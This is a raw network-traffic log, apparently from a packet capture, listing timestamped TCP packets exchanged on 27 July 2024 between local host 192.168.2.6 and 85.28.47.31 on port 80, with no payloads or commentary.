Jul 27, 2024 03:19:16.627305031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627305031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627446890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627836943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627866983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627892971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627918959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.627964973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627964973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.627969980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628050089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628073931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.628082991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628118038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628139973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.628139973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.628154993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628216982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.628217936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.628813028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628842115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.628869057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629147053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629180908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629195929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629195929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629220009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629266024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629266024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629275084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629308939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629319906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629342079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629383087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629383087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629849911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629868984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629884958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629899979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629909992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629925013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629925013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629925966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629941940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629956961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629971027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.629981041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.629981041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630023003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630048990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630650043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630691051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630703926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630708933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630732059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630748034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630752087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630752087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630788088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630788088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630880117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630903006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630918980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630939960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630939960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630943060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630959988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630973101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.630981922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630981922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.630987883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631006002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631014109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631014109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631021023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631031036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631037951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631053925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631066084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631066084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631097078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631097078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631701946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631716013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631752014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631774902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631810904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631825924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631850958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631865025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631870031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631870031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631881952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631889105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631906033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631918907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631918907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631922960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631947994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631963968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631968975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631968975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631980896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.631989956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.631998062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.632013083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.632018089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.632018089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.632030010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.632042885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.632050037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.632050037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.632091999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.632091999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.663959980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.663995981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664028883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664038897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664038897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664063931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664098024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664108992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664108992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664133072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664167881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664176941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664176941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664203882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664210081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664238930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664273024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664283037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664283037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664307117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664343119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664349079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664349079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664377928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664411068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664422035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664422035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664443970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.664489985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.664489985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665091991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665143967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665177107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665189028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665189028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665210962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665246010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665255070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665255070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665281057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665317059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665323973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665323973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665345907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665388107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665388107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665535927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665586948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665586948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665622950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665633917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665674925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665719986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665719986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665726900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665782928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665826082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665826082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665832996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665884972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665918112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665929079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665929079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665951967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665983915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.665996075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.665996075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666018009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666049957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666060925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666060925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666085005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666117907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666136980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666151047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666151047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666163921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666228056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666651964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666727066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666755915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666769028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666769028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666809082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666842937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666856050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666856050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666877031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666912079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666920900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666920900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666946888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.666990995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.666990995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713428974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713460922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713495016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713527918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713550091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713560104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713572025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713572025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713572025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713594913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713609934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713629007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713665962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.713671923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713671923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.713733912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714478016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714512110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714533091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714544058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714579105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714587927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714587927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714612007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714644909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714654922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714654922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714679003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.714721918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.714721918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715548038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715579033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715625048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715625048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715630054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715666056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715698004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715708017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715708017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715734005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715743065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715768099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715801001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.715810061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715810061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.715888977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716449976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716499090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716504097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716546059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716552019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716587067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716618061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716619015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716650963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716654062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716689110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716703892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716703892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716720104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.716762066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.716762066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717662096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717714071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717715979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717752934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717784882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717794895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717794895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717819929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717853069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717874050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717874050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717886925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717915058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.717931032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717931032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.717992067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718327999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718377113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718384027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718414068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718461037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718461037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718468904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718502045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718512058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718535900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718584061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718592882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718592882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718619108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718626976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718648911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.718679905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.718750954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719333887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719434977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719443083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719474077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719507933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719516039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719516039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719541073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719574928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719584942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719584942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719608068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719641924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719641924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719662905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719692945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719698906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719752073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719752073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719801903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719805956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719836950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719866037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719870090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719903946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719913960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719913960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.719938040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.719988108 CEST	49710	80	192.168.2.6	85.28.47.31
